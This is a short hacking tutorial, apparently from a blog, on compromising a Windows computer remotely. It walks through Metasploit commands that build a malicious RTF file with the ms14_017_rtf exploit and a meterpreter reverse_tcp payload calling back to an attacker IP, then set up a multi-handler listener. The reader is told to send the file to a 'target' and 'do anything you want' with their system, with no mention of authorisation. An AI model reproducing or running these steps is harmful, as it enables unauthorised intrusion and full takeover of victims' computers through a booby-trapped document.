We will create a .rtf file and you need to send it to target. when your target will open this file in his/her Computer you will have a meterpreter session and You can do anything you want with the target system. that’s how you can hack a computer from your computer.
so that is the easiest way Most hackers can use to hack computers from another computer.
As usual we will start from Kali linux. You need to fire up Kali Linux. if You wana be an elite ethical hacker then here is a collection of some useful articles.
Let start the tutorial on how to hack a computer remotely.
Open Kali Linux and start msf console
You need to open Metasploit. You can fire up metasploit easily by going to
applications>Kali Linux>metasploit framework
Choose Exploit to hack a computer over internet
now its time to initialize your exploit. run this command in metasploit
use exploit/windows/fileformat/ms14_017_rtf

if you want a detailed information about this exploit then you can find by just typing info
Now check what options we have or what we need to fill up.Just type in your console show options . and there will be a list of lots of options you can set with this exploit
Decide the FILENAME
You can decide the filename as you want. It depends on your target. here i am choosing filename as doc . so you need to type “set FILENAME doc.rtf “
Set the Payload
And finally as usual a payload can be set by using following command for the doc.rtf file . this payload will help us to start a meterpreter session to hack remote computers over internet.
set PAYLOAD windows/meterpreter/reverse_tcp
Set the LHOST
Next you need to set the LHOST . This is the ip which will be called when .rtf file will be executed. You can find your ip address by typing ipconfig in CMD and iwconfig in Kali Terminal . Type following command to set LHOST
set LHOST 192.168.1.112
now type
exploit

Open a Multi-Handler for the Connection
to accept the connection back to your system you need to set up Multi Handler. type this command
use exploit/multi/handler
now set payload
set PAYLOAD windows/meterpreter/reverse_tcp
now set LHOST
set LHOST 192.168.1.112
AND execute finally
exploit
that’s it . Now you need to send the .rtf file to your target, when someone will click on .rtf file, a meterpreter session will be started on your computer. Now you have almost full access to target system. You need to brush up your meterpreter commands.